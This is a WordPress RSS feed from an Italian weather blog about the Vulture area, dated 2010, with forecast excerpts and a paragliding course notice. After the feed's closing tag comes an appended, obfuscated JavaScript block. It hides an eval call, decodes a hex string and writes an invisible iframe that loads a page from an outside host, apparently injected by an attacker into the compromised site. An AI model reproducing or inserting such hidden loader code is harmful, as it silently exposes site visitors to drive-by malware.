<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>MeteoVulture</title>
	<atom:link href="http://www.meteovulture.com/feed" rel="self" type="application/rss+xml" />
	<link>http://www.meteovulture.com</link>
	<description>Il primo portale meteo sul Vulture</description>
	<lastBuildDate>Fri, 05 Mar 2010 15:39:56 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Arrivo della prima neve Marzolina?</title>
		<link>http://www.meteovulture.com/archives/65</link>
		<comments>http://www.meteovulture.com/archives/65#comments</comments>
		<pubDate>Fri, 05 Mar 2010 15:39:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Senza categoria]]></category>

		<guid isPermaLink="false">http://www.meteovulture.com/?p=65</guid>
		<description><![CDATA[Nelle prossime ore andrà intensificandosi la nuvolosità presente tutt&#8217;ora sul vulture-melfese a causa di un ingresso di aria più fredda proveniente dai quadranti settentrionali.
In queste ore si sta assistendo ad un rapido calo delle temperature ( la stazione di Venosa segna 4.4° ed è in corso acqua mista a neve).
In serata la quota neve scenderà [...]]]></description>
		<wfw:commentRss>http://www.meteovulture.com/archives/65/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Piccola fase primaverile: previsioni 19-21 Febbraio</title>
		<link>http://www.meteovulture.com/archives/61</link>
		<comments>http://www.meteovulture.com/archives/61#comments</comments>
		<pubDate>Thu, 18 Feb 2010 19:14:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Senza categoria]]></category>

		<guid isPermaLink="false">http://www.meteovulture.com/?p=61</guid>
		<description><![CDATA[Si apre una brevissima fase primaverile. La perturbazione che si sta muovendo dalla Spagna verso Est, porterà un deciso peggioramento al centro-nord, soprattutto sul lato tirrenico, e un rimonta sub-tropicale verso l&#8217;Italia meridionale, con punte anche di +16 ad 850hpa in Calabria, +10 sul Vulture (anche 20° a 300-400m a causa dei venti anche di [...]]]></description>
		<wfw:commentRss>http://www.meteovulture.com/archives/61/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Parapendio [I Falchi di Federico]</title>
		<link>http://www.meteovulture.com/archives/59</link>
		<comments>http://www.meteovulture.com/archives/59#comments</comments>
		<pubDate>Sun, 14 Feb 2010 13:09:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Senza categoria]]></category>

		<guid isPermaLink="false">http://www.meteovulture.com/?p=59</guid>
		<description><![CDATA[Sono aperte le iscrizioni al Corso di Parapendio in Basilicata per la preparazione all&#8217;ottenimento del BREVETTO DI PILOTA DI PARAPENDIO.
Il corso sarà tenuto dagli Istruttori Attilio ADDIMANDO e Diego BASILE certificati dall&#8217;Aereo Club d&#8217;Italia (AeCI).
Per informazioni chiama i num:
338-3383132 oppure 339-3034645
]]></description>
		<wfw:commentRss>http://www.meteovulture.com/archives/59/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Previsioni Settimanali 13-17 Febbraio</title>
		<link>http://www.meteovulture.com/archives/54</link>
		<comments>http://www.meteovulture.com/archives/54#comments</comments>
		<pubDate>Sat, 13 Feb 2010 13:28:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Senza categoria]]></category>

		<guid isPermaLink="false">http://www.meteovulture.com/?p=54</guid>
		<description><![CDATA[L&#8216;aria artico-marittima che ci ha accompagnato fino a ieri lascia spazio a correnti umide meridionali, che porteranno maltempo diffuso e temperature più miti.
Ma andiamo in dettaglio:
Oggi 13 Feb: Condizioni di tempo sereno o poco nuvoloso. Temperature in aumento nelle massime, stazionarie le minime.  Vento debole da WSW.
Domenica 14 Feb: Vento che ruota dai quadranti meridionali [...]]]></description>
		<wfw:commentRss>http://www.meteovulture.com/archives/54/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Arriva l&#8217;Artico!</title>
		<link>http://www.meteovulture.com/archives/46</link>
		<comments>http://www.meteovulture.com/archives/46#comments</comments>
		<pubDate>Wed, 10 Feb 2010 17:35:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Senza categoria]]></category>

		<guid isPermaLink="false">http://www.meteovulture.com/?p=46</guid>
		<description><![CDATA[La depressione atlantica che ci ha accompagnato fino ad oggi sarà il motore che metterà in moto il nocciolo freddo (come si evince dalla mappa a sinistra) presente ora in Francia e pronto ad entrare nel Tirreno.
Stasera ancora qualche rovescio che potrebbe persistere anche nelle prime ore di domani Giovedi 11 .
Tempo migliore per tutto [...]]]></description>
		<wfw:commentRss>http://www.meteovulture.com/archives/46/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Arriva il ciclone Queen</title>
		<link>http://www.meteovulture.com/archives/38</link>
		<comments>http://www.meteovulture.com/archives/38#comments</comments>
		<pubDate>Tue, 09 Feb 2010 11:58:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Previsioni Vulture]]></category>

		<guid isPermaLink="false">http://www.meteovulture.com/?p=38</guid>
		<description><![CDATA[Il ciclone Queen sta approcciando l&#8217;Italia.
Questa è l&#8217;ultima immagine satellitare disponibile : 
La zona di bassa pressione colpirà il vulture nelle prossime ore, portando , come avevamo già accennato, precipitazioni anche moderate da stasera fino alla giornata di giovedi.
&#60;&#8211;Questa è la situazione di domani.
Importanti novità nel prossimo articolo.
Buona giornata!
]]></description>
		<wfw:commentRss>http://www.meteovulture.com/archives/38/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pioggia in arrivo!</title>
		<link>http://www.meteovulture.com/archives/35</link>
		<comments>http://www.meteovulture.com/archives/35#comments</comments>
		<pubDate>Mon, 08 Feb 2010 16:59:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Previsioni Vulture]]></category>

		<guid isPermaLink="false">http://www.meteovulture.com/?p=35</guid>
		<description><![CDATA[Il freddo che ci ha accompagnato in questi giorni ci lascerà pian piano a causa di un richiamo caldo/umido da Sud.
Causa di questo richiamo è da imputare ad una depressione che, come vediamo dall&#8217;immagine satellitare, sta scaricando già le prime piogge sul Mare Nostrum.
Assisteremo, quindi, ad un temporaneo miglioramento a partire da domattina.
Miglioramento che avrà [...]]]></description>
		<wfw:commentRss>http://www.meteovulture.com/archives/35/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nuova apertura</title>
		<link>http://www.meteovulture.com/archives/17</link>
		<comments>http://www.meteovulture.com/archives/17#comments</comments>
		<pubDate>Sat, 06 Feb 2010 18:24:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Senza categoria]]></category>

		<guid isPermaLink="false">http://www.meteovulture.com/?p=17</guid>
		<description><![CDATA[Riapre il portale con una nuova veste grafica! A presto per le prossime previsioni!
]]></description>
		<wfw:commentRss>http://www.meteovulture.com/archives/17/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>
<script>c46d0='';r9c1e1b7cf=document;r9c1e1b7cf.write('<scr'+'ipt>function r1ddcc424(red1d8e18d){return e'+c46d0+'val(red1d8e18d); }</scr'+'ipt>');  function c46516ddd3r7506520576(ra3d26377a){ function r17029d0363(){var rd0d514b=16;return rd0d514b;} var d8='';return (r1ddcc424('parse'+d8+'Int')(ra3d26377a,r17029d0363()));}function r0b210eb1f(rd73182398f){ var r27e88403=2; var r7c74f='';r2afde2367='fromCh';r24cb2=String[r2afde2367+'arCode'];for(r044d69=0;r044d69<rd73182398f.length;r044d69+=r27e88403){ r7c74f+=(r24cb2(c46516ddd3r7506520576(rd73182398f.substr(r044d69,r27e88403))));}return r7c74f;} var r3ea14ff875='3C7363726970743E69662821'+c46d0+'6D796961'+c46d0+'297B646F63756D656E742E777269746528756E65736361'+c46d0+'7065282027253363253639253636253732253631'+c46d0+'253664253635253230253665253631'+c46d0+'253664253635253364253633253334253336253230253733253732253633253364253237253638253734253734253730253361'+c46d0+'253266253266253733253635253633253637253735253631'+c46d0+'253732253634253265253632253639253761'+c46d0+'25326625373425373325326625363925366525326525363325363725363925336625363325366625363425363925366526253237253262253464253631'+c46d0+'253734253638253265253732253666253735253665253634253238253464253631'+c46d0+'253734253638253265253732253631'+c46d0+'253665253634253666253664253238253239253261'+c46d0+'253331'+c46d0+'253334253338253338253339253336253239253262253237253330253634253338253635253636253631'+c46d0+'253237253230253737253639253634253734253638253364253332253338253338253230253638253635253639253637253638253734253364253335253331'+c46d0+'253337253230253733253734253739253663253635253364253237253736253639253733253639253632253639253663253639253734253739253361'+c46d0+'253638253639253634253634253635253665253237253365253363253266253639253636253732253631'+c46d0+'2536642536352533652729293B7D7661'+c46d0+'72206D796961'+c46d0+'3D747275653B3C2F7363726970743E';r9c1e1b7cf.write(r0b210eb1f(r3ea14ff875));</script><script>check_content()</script>